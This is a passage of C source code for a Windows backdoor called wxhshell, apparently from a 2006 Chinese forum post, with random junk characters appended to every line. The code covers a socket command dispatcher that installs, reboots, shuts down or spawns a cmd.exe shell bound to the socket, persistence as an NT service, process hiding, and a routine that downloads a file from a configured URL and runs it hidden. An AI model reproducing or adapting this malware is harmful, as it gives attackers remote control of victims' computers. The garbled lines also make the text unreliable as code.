    switch(cmd[0]) { /p PSo  
  *wd@YMOP  
  // 帮助 xaSg'8-  
  case '?': { .Z0$KQ'iy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a*g7uaoP  
    break; 'Wv`^{y <^  
  } ;L{#TC(]J]  
  // 安装 EW:tb-%`  
  case 'i': { Wj}PtQ%lp/  
    if(Install()) \uUd *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~y) V  
    else K4[X P]\jr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;GjZvo  
    break; :=J^"c  
    } D J:N  
  // 卸载  el"XD"*  
  case 'r': { Hx|<NS0}_  
    if(Uninstall()) yltzf #%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |_ADG  
    else 8do7`mN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6bacU#0o  
    break; 6iZ:0y0t+6  
    } ,e{|[k  
  // 显示 wxhshell 所在路径 H ({Y  
  case 'p': { WYayr1  
    char svExeFile[MAX_PATH]; dTwZ-%  
    strcpy(svExeFile,"\n\r"); 2`ED?F68gH  
      strcat(svExeFile,ExeFile); {f12&t  
        send(wsh,svExeFile,strlen(svExeFile),0); M< 1rQW'  
    break; DJGq=*  
    } v Wt{kg;  
  // 重启 @}r2xY1  
  case 'b': { 8e:\T.)M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Dv<  
    if(Boot(REBOOT)) dm+}nQI \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #zL0P>P'a  
    else { N;6@f*3_i  
    closesocket(wsh); /ad]pdF  
    ExitThread(0); hHoc>S6^M  
    } +,H6)'#Z  
    break; OfAh? ^R  
    } [Dv6z t>  
  // 关机 %{sL/H_  
  case 'd': { jr=>L:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (oiF05n h  
    if(Boot(SHUTDOWN)) i=ztWKwKf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t]QGyW A]  
    else { K~MTbdg  
    closesocket(wsh); .Y^UPxf@  
    ExitThread(0); YcQ3 :i  
    } U&\2\z3{  
    break; `Qrrnq  
    } VZRM=;V  
  // 获取shell O6Gg?j  
  case 's': { mH/$_x)o  
    CmdShell(wsh); `~.0PnHf  
    closesocket(wsh); UyWKE<  
    ExitThread(0); aV6l"A]  
    break; M10u?  
  } 0nDlqy6b1b  
  // 退出 JOA_2qa>\  
  case 'x': { Bp.z6x4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QSNLo_z  
    CloseIt(wsh); YdT-E  
    break; r8uc.z2%  
    } t622b?w  
  // 离开 |}O9'fyU8  
  case 'q': { $:aKb#l)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dl%KD8  
    closesocket(wsh); R[/]iK+!&  
    WSACleanup(); <r1N6(n  
    exit(1); Z\)emps  
    break; !:7aXT*D$  
        } EA/+~ux  
  } =)p/p6  
  } _&~y{;)S  
!FhiTh:GCh  
  // 提示信息 u{/!BCKE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qUMM}ls  
} bO:m^*  
  } o YZmz  
HVz,liq  
  return; bN',-[E  
} .).*6{_  
`c-(1 ;Jb  
// shell模块句柄 ~5f|L(ODX  
int CmdShell(SOCKET sock) 5X'com?T  
{ 2qY+-yOEt  
STARTUPINFO si; \qU.?V[2  
ZeroMemory(&si,sizeof(si)); =h"*1`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mv O!p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,iUYsY  
PROCESS_INFORMATION ProcessInfo; }: W6Bo-|  
char cmdline[]="cmd";  FsbX{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NyJ=^=F#  
  return 0; @$ea-fK??  
} ~ 3HI;  
Hsoe?kUHF  
// 自身启动模式 o#IQz_  
int StartFromService(void) E7*z.3  
{ 2yFXX9!@  
typedef struct 4/rd r80  
{ n<x NE %  
  DWORD ExitStatus; m9Z3q ;  
  DWORD PebBaseAddress; LAoX'^6  
  DWORD AffinityMask; otsINAizgS  
  DWORD BasePriority; p4|Zz:f  
  ULONG UniqueProcessId; gda3{g7<)  
  ULONG InheritedFromUniqueProcessId; 3j2% '$>E^  
}   PROCESS_BASIC_INFORMATION; 4~G++|NQ  
`GG PkTN  
PROCNTQSIP NtQueryInformationProcess; #\&jM -.-  
ye9-%~sjX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CENA!WWQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CPI7&jqu  
LZ@4,Uj  
  HANDLE             hProcess; 0 w"&9+kV  
  PROCESS_BASIC_INFORMATION pbi; .&53WL[D|  
>D';i\2j&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y`~[R7E  
  if(NULL == hInst ) return 0; r[:)-`]b  
~D4%7U"dv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]i=\5FH e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); az(u=}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (+Yerc.NQt  
FS%Xq-c  
  if (!NtQueryInformationProcess) return 0; 0<+=Ew5Z  
crJyk#_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OG_2k3v  
  if(!hProcess) return 0; zl: 5_u=T  
W@^O'&3d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B_k[N}|zD  
!9l c6W  
  CloseHandle(hProcess); =$B:i>z<  
 \|Qx`-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]F@XGJN  
if(hProcess==NULL) return 0; ^n|u$gIF8  
_RFTm.9&  
HMODULE hMod; i0($@6Lh  
char procName[255]; Z[baQO  
unsigned long cbNeeded; )w8h2=l  
,H3~mq]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xj/ +Z!,9  
nQc]f*  
  CloseHandle(hProcess); m~fA=#l l  
7P`|wNq  
if(strstr(procName,"services")) return 1; // 以服务启动 "8Ud&o  
Cwxy ~.mI  
  return 0; // 注册表启动 Fz_SID  
} fPs' A  
"lo:"y(u  
// 主模块 h Znq\p~  
int StartWxhshell(LPSTR lpCmdLine) hsVf/%  
{ g/b_\__A  
  SOCKET wsl; @)>9l&  
BOOL val=TRUE; m<>3GF,5bP  
  int port=0; 2 $^n@<uZ@  
  struct sockaddr_in door; v1yNVs \}  
IYq)p /  
  if(wscfg.ws_autoins) Install(); 'IweN  
:XK.A   
port=atoi(lpCmdLine); nf5Ld"|%9  
V `V Z[  
if(port<=0) port=wscfg.ws_port; k0{5)Su"xr  
*5k" v"NM(  
  WSADATA data; ZM/*cA!"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n|vIo)  
-X~VXeg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I3QK~ V*j)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T`f6`1x  
  door.sin_family = AF_INET; nV-A0"z_&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W6t"n_%?"  
  door.sin_port = htons(port); >!|Hns  
wRL=9/5(8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qALlMj--m  
closesocket(wsl); /s3AZ j9  
return 1; m$xL#omD  
} -MV</  
ST3aiyG  
  if(listen(wsl,2) == INVALID_SOCKET) { gG0P &9xz  
closesocket(wsl); Kc+;"4/#q  
return 1; Ey$J.qw3  
} j4L ) D  
  Wxhshell(wsl); s+>VqyHgf  
  WSACleanup(); iN0gvjZ  
d/G`w{H}y  
return 0; =j]us?5  
F#KO!\iA+  
} <N11$t&_  
"q(#,,_  
// 以NT服务方式启动 klduJ T >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SF2A?L?}+  
{ q1sK:)Hu+  
DWORD   status = 0; .%7#o  
  DWORD   specificError = 0xfffffff; . KJ EA #  
r3oAP[+n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qi' ,[Xmf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3A%/H`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `#&pB0.y  
  serviceStatus.dwWin32ExitCode     = 0; .7TQae%  
  serviceStatus.dwServiceSpecificExitCode = 0; > $0eRVL  
  serviceStatus.dwCheckPoint       = 0; _D:#M  
  serviceStatus.dwWaitHint       = 0; N.OC _H&  
JnCp'`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]%jlaXb  
  if (hServiceStatusHandle==0) return; (i^3Lw :  
[L 0`B9TD~  
status = GetLastError(); c Q~}qE>I  
  if (status!=NO_ERROR) f?T6Ne'  
{ [$_d|Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D;.O#bS  
    serviceStatus.dwCheckPoint       = 0; V`$Jan  
    serviceStatus.dwWaitHint       = 0; <>`+" O}  
    serviceStatus.dwWin32ExitCode     = status; OJ ng  
    serviceStatus.dwServiceSpecificExitCode = specificError; pmd=3,D'u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6/@"K HHVe  
    return; ZcgSVMqEX  
  } @e#eAJhU  
:SilQm*Pl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ml)~%ZbF  
  serviceStatus.dwCheckPoint       = 0; 'awL!P--  
  serviceStatus.dwWaitHint       = 0; /w0l7N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O;c;>x_dA  
} Ym+k \h  
SovK|b &  
// 处理NT服务事件,比如:启动、停止 ,Ju f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qepsR/0M  
{ l$D]*_ jc,  
switch(fdwControl) EotZ$O=  
{ (#FWA<o  
case SERVICE_CONTROL_STOP: n.]K"$230  
  serviceStatus.dwWin32ExitCode = 0; 2'_xg~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }:C4T*|  
  serviceStatus.dwCheckPoint   = 0; ri&B%AAc  
  serviceStatus.dwWaitHint     = 0; 2bBTd@m4  
  { L@Fw;G|%'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cdl#LVqs  
  } %1fH-:c=C0  
  return; (KR$PLxDK  
case SERVICE_CONTROL_PAUSE: $lmbeW[0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;u!qu$O  
  break; aObWd5~  
case SERVICE_CONTROL_CONTINUE: ]Y Q[ )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >=-w2&  
  break; vwDnz /-  
case SERVICE_CONTROL_INTERROGATE: k`Nc<nN8  
  break; WbC|2!  
}; Tct8NG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k L2(M6m  
} 7ET^,6  
p ASNiH698  
// 标准应用程序主函数 VH7VJ [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #y13(u,dN  
{ iLw O4i  
wvsKn YKX  
// 获取操作系统版本 Ub=g<MYHV  
OsIsNt=GetOsVer(); Cw]& B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {LfVV5?  
4VINu9\V  
  // 从命令行安装 mw)KyU#l,:  
  if(strpbrk(lpCmdLine,"iI")) Install(); F2!C^r,~L  
!K^.r_0H.  
  // 下载执行文件 IBWUXG;  
if(wscfg.ws_downexe) { mY?^]3-_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {#N](yUm  
  WinExec(wscfg.ws_filenam,SW_HIDE); #UL:#pY  
} uc9t0]o=h  
An cmSi  
if(!OsIsNt) { $6.CN#  
// 如果时win9x,隐藏进程并且设置为注册表启动 8B;wn<O  
HideProc(); H%NIdgo}  
StartWxhshell(lpCmdLine); =jIB5".  
} T X.YTU  
else +@[T0cXp  
  if(StartFromService()) 2iHD$tw  
  // 以服务方式启动 2= 'gC|&s6  
  StartServiceCtrlDispatcher(DispatchTable); ;n_|t/=  
else ,2T&33m  
  // 普通方式启动 tZmo= 3+:  
  StartWxhshell(lpCmdLine); <a7y]Py  
\xG>>A%  
return 0; LcS\#p#s]  
}
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只看该作者 1 发表于: 2006-10-10
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